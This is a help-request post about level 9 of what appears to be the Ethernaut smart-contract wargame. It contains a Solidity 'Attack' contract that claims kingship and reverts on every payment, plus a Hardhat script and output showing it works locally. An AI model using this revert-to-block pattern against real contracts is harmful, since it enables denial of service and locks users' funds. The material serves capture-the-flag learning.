I'm having a difficult time completing level 9. I understand the concept, and have tried several solutions. My transaction is successful in a local hardhat environment, but fails when I deploy to Rinkeby.
Code to reproduce
My attack contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.3;
contract Attack {
constructor() payable {
}
function becomeKing(address _address) public payable {
address(_address).call{gas: 2000000, value: 1000000000000000}("");
}
fallback() external payable {
revert("It's dead!");
}
}
Here is the hardhat js deploy script that works.
async function main() {
const [deployer] = await ethers.getSigners();
console.log("Deploying contracts with the account:", deployer.address);
console.log("Account balance:", (await deployer.getBalance()).toString());
const King = await ethers.getContractFactory("King");
const king = await King.deploy();
console.log("king address:", king.address);
const Attack = await ethers.getContractFactory("Attack");
const attack = await Attack.deploy({value: 2000000000000000});
console.log("attack address:", attack.address);
await attack.becomeKing(king.address);
const newKing = await king._king();
const prize = await king.prize();
console.log({prize: prize.toString()});
console.log({newKing});
}
main()
.then(() => process.exit(0))
.catch((error) => {
console.error(error);
process.exit(1);
});
Hardhat result
$ npx hardhat run scripts/deploy.js
Deploying contracts with the account: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
Account balance: 10000000000000000000000
king address: 0x5FbDB2315678afecb367f032d93F642f64180aa3
attack address: 0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512
{ prize: '1000000000000000' }
{ newKing: '0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512' }
Environment
Works in hardhat, fails in remix on Rinkeby.